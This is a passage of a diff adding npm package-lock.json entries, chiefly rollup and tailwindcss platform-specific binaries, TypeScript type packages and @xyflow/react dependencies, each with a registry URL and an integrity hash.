"sha512-JqgflS8wEB+UXV/vS1RpRbifGBeN4D5lz8D8oOFbFZw4vedvdOgCFAjfBmIMdW3yL10XpQQ0Ambepw6MXrhOnA==", + "cpu": [ + "arm" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-gnu": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.62.2.tgz", + "integrity": "sha512-wnFJkogWvN4jm/hQRF2UBaeUmk20j5+DmHvoyWii2b8HJDyvz1MF2OU/6ynXt2KR63rbZLWkFpoytpdc/yBuSA==", + "cpu": [ + "arm64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-musl": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.62.2.tgz", + "integrity": "sha512-HVu2bp0zhvJ8xHEV9+UUs7S90VadmBSY3LcIMvozbPo4AuMGDWlz3ymHLHZPX4hR67TKTt8Qp5PJ5RBg/i+RMQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-gnu": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.62.2.tgz", + "integrity": "sha512-mQqqAV8QaoSgr9I2fKDLY2BAVvmKjWoGiu/cSYQonsLvtqwEn1E4QYfnCOcp5zoEqNhsDYin1s6jx/VJmrxlZg==", + "cpu": [ + "loong64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-musl": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.62.2.tgz", + "integrity": "sha512-IxKLoxCQ2IWi6bT2akyDUBGsOImDKB+sPp4EsTmwFQ/fMwpCKm8uLSSgP/Kx/QYUgKis6SEZ5/Nlhup0DIA0PQ==", + "cpu": [ + "loong64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-gnu": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.62.2.tgz", + "integrity": "sha512-Mk5ha2RQSgyFfmYYLkBpPnUk8D8FriBxesO1u9O75X0mHgXL1UQcH5Itl2lurWL2tj0RxV9b9tJgipac0hRY9A==", + "cpu": [ + "ppc64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-musl": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.62.2.tgz", + "integrity": "sha512-CjvEnqJL/0/TQ3TXX3OPIJ/kmBellrWd4heXUmHeJlTnmwjKpSJzoehLaL6Xk0ZnMHBu9dZuFADNOrtjF4v+2w==", + "cpu": [ + "ppc64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-gnu": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.62.2.tgz", + "integrity": "sha512-1SiZbzwdkaDURsew/tSOrooKiYy7EQGT6m8ufavAi9NEyQb/6VuIxFXAL1fqa4iZe3g4NbNk4P7J32z2tw5Mgg==", + "cpu": [ + "riscv64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-musl": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.62.2.tgz", + "integrity": "sha512-nQts12zJ3NQRoE6uYljOH89v7szzLDvG2JD/vsX+vGXU8w/At1GowTZ5/7qeFQ8m7L55rpR8Okugnuo5bgjy2Q==", + "cpu": [ + "riscv64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-s390x-gnu": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.62.2.tgz", + "integrity": "sha512-E9/ll019jhPIJgpzfZoIkBGhcz+kKNgVWYRY0zr9srBdPPFVpvOKW8VaJKUbeK+eZXyQF9ltME+Kk6affeaPgg==", + "cpu": [ + "s390x" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-gnu": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.62.2.tgz", + "integrity": "sha512-5BqxR/pshjey51iliyzTD5Xi3EN0aLmQ2lZ3lvefVV9c82BvrLo2/6OT55iifpWBufs6kdwWbuOKS841DrmK9A==", + "cpu": [ + "x64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-musl": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.62.2.tgz", + "integrity": "sha512-uNN83XxQrRAh/w0/pmAfibcwyb6YWt4gP+dpnQKPVJshAloQ785ii8CT8ZCIxkGg9opVsvAlGhFitSm6D1Jjpg==", + "cpu": [ + "x64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-openbsd-x64": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.62.2.tgz", + "integrity": "sha512-srjEIxSH3LRnJN6THczDHWQplqEMFiAJrTab0msUryh9kwNpkICf3Ea6q6MN/2cZwRFUNx5w+h6Hpi4QuHS6Zg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ] + }, + "node_modules/@rollup/rollup-openharmony-arm64": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.62.2.tgz", + "integrity": "sha512-8hOJnxgbyObnCm5AlRA3A931xX19xq80RjVTKgJOvEKWqJruP/Uf12IbAOaDjjEXYRewwHLfmF0YRIdK3OwKWA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ] + }, + "node_modules/@rollup/rollup-win32-arm64-msvc": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.62.2.tgz", + "integrity": "sha512-mmF4AY1i0hG/bLWUctUq59gtmgaSIRa3cu/A3JFRp/sCNEme2bgDEiDS22P9FbnJB8NJNF4jPJiSP5RHQpUTDg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-ia32-msvc": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.62.2.tgz", + "integrity": "sha512-DZgkknc6jhHrk46V25vbAM0zZkyP0nSDkJB8/dRkLTxv470dOmWDqGoEJl/9A0dFfS7yE3REOwNDxpHwSLSt0Q==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-gnu": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.62.2.tgz", + "integrity": "sha512-T6xr6ucWSFto+VGajA8YH26LdpHRuP4YLHEKAtCWvJDOlnmWcDZVCI2Jmjr+IFHDlt2zRaTAKE4tfjTaWLgJBg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-msvc": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.62.2.tgz", + "integrity": "sha512-BfzEnDJOt9T8M989/lA37EcJgat01wLRnoi5dQf3QzOH7jzpqTAzdDbVfRljVr5r+jzKqpbHeyOfAaXxAd0PAA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@tailwindcss/node": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/@tailwindcss/node/-/node-4.3.3.tgz", + "integrity": "sha512-/T8IKEsf9VTU6tLjgC7+sv2mOPtQxzE2jMw7u4Tt40Tx+QSZxpzh95/H6cMKoja9XuW7iMdLJYBB0o9G1CaAgg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/remapping": "^2.3.5", + "enhanced-resolve": "^5.24.1", + "jiti": "^2.7.0", + "lightningcss": "1.32.0", + "magic-string": "^0.30.21", + "source-map-js": "^1.2.1", + "tailwindcss": "4.3.3" + } + }, + "node_modules/@tailwindcss/oxide": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide/-/oxide-4.3.3.tgz", + "integrity": "sha512-krXjAikiaFSPaK/FkAQT5UTx3VormQaiZ5hBFlJZ9UFQGB/rwg1MZIhHAG9smMQRTdyJxP6Qt5MwMtdyU5FWrA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 20" + }, + "optionalDependencies": { + "@tailwindcss/oxide-android-arm64": "4.3.3", + "@tailwindcss/oxide-darwin-arm64": "4.3.3", + "@tailwindcss/oxide-darwin-x64": "4.3.3", + "@tailwindcss/oxide-freebsd-x64": "4.3.3", + "@tailwindcss/oxide-linux-arm-gnueabihf": "4.3.3", + "@tailwindcss/oxide-linux-arm64-gnu": "4.3.3", + "@tailwindcss/oxide-linux-arm64-musl": "4.3.3", + "@tailwindcss/oxide-linux-x64-gnu": "4.3.3", + "@tailwindcss/oxide-linux-x64-musl": "4.3.3", + "@tailwindcss/oxide-wasm32-wasi": "4.3.3", + "@tailwindcss/oxide-win32-arm64-msvc": "4.3.3", + "@tailwindcss/oxide-win32-x64-msvc": "4.3.3" + } + }, + "node_modules/@tailwindcss/oxide-android-arm64": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-android-arm64/-/oxide-android-arm64-4.3.3.tgz", + "integrity": "sha512-Y85A2gmPSkl5Ve5qR86GL4HT509cFqQh1aes9p3sSkyTPwt0Pppf3GkwGe4JPACcRYjgJIEhQgM6dBClnr0NYw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-darwin-arm64": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-darwin-arm64/-/oxide-darwin-arm64-4.3.3.tgz", + "integrity": "sha512-BiaWatpBcERQFDlOjRDpIVXuFK5PJez5SA4JMg6VYZdBYU+qKfV/vqjcIs+IYmtitf1xYQZTwXvU/8y4lfZUGw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-darwin-x64": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-darwin-x64/-/oxide-darwin-x64-4.3.3.tgz", + "integrity": "sha512-fAeUqfV5ndhxRwai8cXGzdLvul9utWOmeTkv69unv4ZXixjn61Z+p9lCWdwOwA3TYboG3BwdVuN/RDjhBRl0mw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-freebsd-x64": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-freebsd-x64/-/oxide-freebsd-x64-4.3.3.tgz", + "integrity": "sha512-iyf5bV6+wnAlflVeEy7R25dupxTNECZN5QMI0qNT6eT+EgaGdZcKhGkr5SdoaWiLJ3spLqIY9VCeSGrwmtg4kw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-linux-arm-gnueabihf": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-arm-gnueabihf/-/oxide-linux-arm-gnueabihf-4.3.3.tgz", + "integrity": "sha512-aAYUprJAJQWWbRrPvtjdroZ56Md+JM8pMiopS6xGEwDfLhqj+2ver2p4nU4Mb3CRqcMmNBjo8KkUgcxhkzVQGQ==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-linux-arm64-gnu": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-arm64-gnu/-/oxide-linux-arm64-gnu-4.3.3.tgz", + "integrity": "sha512-nDxldcEENOxZRzC2uu9jrutZdAAQtb+8WWDCSnWL1zvBk1+FN+x6MtDViPB5AJMfttVCUhehGWus3XBPgatM/w==", + "cpu": [ + "arm64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-linux-arm64-musl": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-arm64-musl/-/oxide-linux-arm64-musl-4.3.3.tgz", + "integrity": "sha512-Md44bD6veX/PC5iyF8cDVnw4HBIANZepRZZ7a8DQOvkfo5WUBwcp6iAuCUz23u+4SUkhJlD3eL7hNdW8ezd/kA==", + "cpu": [ + "arm64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-linux-x64-gnu": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-x64-gnu/-/oxide-linux-x64-gnu-4.3.3.tgz", + "integrity": "sha512-tx7us1muwOKAKWao2v/GaafFeQboE6aj88vC6ziN2NCGcRm8gWUhwjzg+YdVB1e4boAtdtma4L43onunI6NS4w==", + "cpu": [ + "x64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-linux-x64-musl": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-x64-musl/-/oxide-linux-x64-musl-4.3.3.tgz", + "integrity": "sha512-SJxX60smvHgasZoBy11dX6YRjXJFovwWBoedhbQPOBzgFWBHGB+TVPWB9BxzR7TTxU8FQZAI2AyiNCMzFm8Img==", + "cpu": [ + "x64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-wasm32-wasi/-/oxide-wasm32-wasi-4.3.3.tgz", + "integrity": "sha512-jx1+rPhY/5Ympkktd656HBWEBLxP7dH06losBLjjf5vgCODXvi9KhtftWcMIwTFIDqBr7cRnQkdLnAG+IOlGvQ==", + "bundleDependencies": [ + "@napi-rs/wasm-runtime", + "@emnapi/core", + "@emnapi/runtime", + "@tybys/wasm-util", + "@emnapi/wasi-threads", + "tslib" + ], + "cpu": [ + "wasm32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/core": "^1.11.1", + "@emnapi/runtime": "^1.11.1", + "@emnapi/wasi-threads": "^1.2.2", + "@napi-rs/wasm-runtime": "^1.1.4", + "@tybys/wasm-util": "^0.10.2", + "tslib": "^2.8.1" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@tailwindcss/oxide-win32-arm64-msvc": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-arm64-msvc/-/oxide-win32-arm64-msvc-4.3.3.tgz", + "integrity": "sha512-3rc292Ca2ceK6Ulcc/bAVnTs/3nDtoPhyEKlgPv+yQJQi/JS/AMJlqzxvlDacL1nekbrcf6bTqp/jV4qgnPxNQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-win32-x64-msvc": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-x64-msvc/-/oxide-win32-x64-msvc-4.3.3.tgz", + "integrity": "sha512-yJ0pwIVc/nYeGoV02WtsN8KYyLQv7kyI2wDnkezyJlGGjkd4QLwDGAwl47YpPJeuI0M0ObaXGSPjvWDPeTPggw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/vite": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/@tailwindcss/vite/-/vite-4.3.3.tgz", + "integrity": "sha512-yYU8cogLeSh/ms2jh8Fj7jaba/EWa7Ja6GoUqYZaraEuCI5YS6ms6ObZgjjedm+jm6XZjdNRWBpPP6Z86oOxcw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@tailwindcss/node": "4.3.3", + "@tailwindcss/oxide": "4.3.3", + "tailwindcss": "4.3.3" + }, + "peerDependencies": { + "vite": "^5.2.0 || ^6 || ^7 || ^8" + } + }, + "node_modules/@types/babel__core": { + "version": "7.20.5", + "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", + "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.20.7", + "@babel/types": "^7.20.7", + "@types/babel__generator": "*", + "@types/babel__template": "*", + "@types/babel__traverse": "*" + } + }, + "node_modules/@types/babel__generator": { + "version": "7.27.0", + "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", + "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__template": { + "version": "7.4.4", + "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", + "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.1.0", + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__traverse": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", + "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.28.2" + } + }, + "node_modules/@types/d3-color": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.3.tgz", + "integrity": "sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A==", + "license": "MIT" + }, + "node_modules/@types/d3-drag": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/@types/d3-drag/-/d3-drag-3.0.7.tgz", + "integrity": "sha512-HE3jVKlzU9AaMazNufooRJ5ZpWmLIoc90A37WU2JMmeq28w1FQqCZswHZ3xR+SuxYftzHq6WU6KJHvqxKzTxxQ==", + "license": "MIT", + "dependencies": { + "@types/d3-selection": "*" + } + }, + "node_modules/@types/d3-interpolate": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.4.tgz", + "integrity": "sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA==", + "license": "MIT", + "dependencies": { + "@types/d3-color": "*" + } + }, + "node_modules/@types/d3-selection": { + "version": "3.0.11", + "resolved": "https://registry.npmjs.org/@types/d3-selection/-/d3-selection-3.0.11.tgz", + "integrity": "sha512-bhAXu23DJWsrI45xafYpkQ4NtcKMwWnAC/vKrd2l+nxMFuvOT3XMYTIj2opv8vq8AO5Yh7Qac/nSeP/3zjTK0w==", + "license": "MIT" + }, + "node_modules/@types/d3-transition": { + "version": "3.0.9", + "resolved": "https://registry.npmjs.org/@types/d3-transition/-/d3-transition-3.0.9.tgz", + "integrity": "sha512-uZS5shfxzO3rGlu0cC3bjmMFKsXv+SmZZcgp0KD22ts4uGXp5EVYGzu/0YdwZeKmddhcAccYtREJKkPfXkZuCg==", + "license": "MIT", + "dependencies": { + "@types/d3-selection": "*" + } + }, + "node_modules/@types/d3-zoom": { + "version": "3.0.8", + "resolved": "https://registry.npmjs.org/@types/d3-zoom/-/d3-zoom-3.0.8.tgz", + "integrity": "sha512-iqMC4/YlFCSlO8+2Ii1GGGliCAY4XdeG748w5vQUbevlbDu0zSjH/+jojorQVBK/se0j6DUFNPBGSqD3YWYnDw==", + "license": "MIT", + "dependencies": { + "@types/d3-interpolate": "*", + "@types/d3-selection": "*" + } + }, + "node_modules/@types/debug": { + "version": "4.1.13", + "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.13.tgz", + "integrity": "sha512-KSVgmQmzMwPlmtljOomayoR89W4FynCAi3E8PPs7vmDVPe84hT+vGPKkJfThkmXs0x0jAaa9U8uW8bbfyS2fWw==", + "license": "MIT", + "dependencies": { + "@types/ms": "*" + } + }, + "node_modules/@types/diff": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@types/diff/-/diff-7.0.2.tgz", + "integrity": "sha512-JSWRMozjFKsGlEjiiKajUjIJVKuKdE3oVy2DNtK+fUo8q82nhFZ2CPQwicAIkXrofahDXrWJ7mjelvZphMS98Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/estree": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz", + "integrity": "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==", + "license": "MIT" + }, + "node_modules/@types/estree-jsx": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/@types/estree-jsx/-/estree-jsx-1.0.5.tgz", + "integrity": "sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg==", + "license": "MIT", + "dependencies": { + "@types/estree": "*" + } + }, + "node_modules/@types/hast": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.5.tgz", + "integrity": "sha512-rp/ezSWaD1m44dPKICGhiskI13nVr7qTloFwDa/IYkhhf5nzwP+zIQcIJh3WIFSBOy/H1PzB40jPjMDksN4F+g==", + "license": "MIT", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/@types/mdast": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.4.tgz", + "integrity": "sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA==", + "license": "MIT", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/@types/ms": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@types/ms/-/ms-2.1.0.tgz", + "integrity": "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==", + "license": "MIT" + }, + "node_modules/@types/react": { + "version": "19.2.17", + "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.17.tgz", + "integrity": "sha512-MXfmqaVPEVgkBT/aY0aGCkRWWtByiYQXo3xdQ8r5RzuFrPiRn8Gar2tQdXSUQ2GKV3bkXckek89V8wQBY2Q/Aw==", + "license": "MIT", + "dependencies": { + "csstype": "^3.2.2" + } + }, + "node_modules/@types/react-dom": { + "version": "19.2.3", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.2.3.tgz", + "integrity": "sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==", + "devOptional": true, + "license": "MIT", + "peerDependencies": { + "@types/react": "^19.2.0" + } + }, + "node_modules/@types/unist": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", + "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", + "license": "MIT" + }, + "node_modules/@ungap/structured-clone": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.3.3.tgz", + "integrity": "sha512-60YRaenCQcVjYEKOcG824+DRGGIQ3VKErcBoAEDJZz5bKIs2ZG+X/H9Nk+Q6EVkwJk5QNApxbrc5QtBSwtrXAg==", + "license": "ISC" + }, + "node_modules/@vitejs/plugin-react": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-5.2.0.tgz", + "integrity": "sha512-YmKkfhOAi3wsB1PhJq5Scj3GXMn3WvtQ/JC0xoopuHoXSdmtdStOpFrYaT1kie2YgFBcIe64ROzMYRjCrYOdYw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/core": "^7.29.0", + "@babel/plugin-transform-react-jsx-self": "^7.27.1", + "@babel/plugin-transform-react-jsx-source": "^7.27.1", + "@rolldown/pluginutils": "1.0.0-rc.3", + "@types/babel__core": "^7.20.5", + "react-refresh": "^0.18.0" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + }, + "peerDependencies": { + "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/@xyflow/react": { + "version": "12.11.2", + "resolved": "https://registry.npmjs.org/@xyflow/react/-/react-12.11.2.tgz", + "integrity": "sha512-eLAlDWJfWnQEhJwGMjlWdAXO9eYllKpliUmPQlAmOLxz6mExXuzMVDUKLMquixgkrtmMFFtug3jGKmYYld12cA==", + "license": "MIT", + "dependencies": { + "@xyflow/system": "0.0.79", + "classcat": "^5.0.3", + "zustand": "^4.4.0" + }, + "peerDependencies": { + "@types/react": ">=17", + "@types/react-dom": ">=17", + "react": ">=17", + "react-dom": ">=17" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@xyflow/system": { + "version": "0.0.79", + "resolved": "https://registry.npmjs.org/@xyflow/system/-/system-0.0.79.tgz", + "integrity": "sha512-czLyOh91NF0hIzbNzwi8I6GlqG23BHh2435OddfI6uiaLH3xdrdygO93gqgH1Bv9mhy8XPFQJOBn1FTq4LvEWA==", + "license": "MIT", + "dependencies": { + "@types/d3-drag": "^3.0.7", + "@types/d3-interpolate": "^3.0.4", + "@types/d3-selection": "^3.0.10", + "@types/d3-transition": "^3.0.8", + "@types/d3-zoom": "^3.0.8", + "d3-drag": "^3.0.0", + "d3-interpolate": "^3.0.1", + "d3-selection": "^3.0.0", + "d3-zoom": "^3.0.0" + } + }, + "node_modules/bail": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/bail/-/bail-2.0.2.tgz", + "integrity": "sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/baseline-browser-mapping": { + "version": 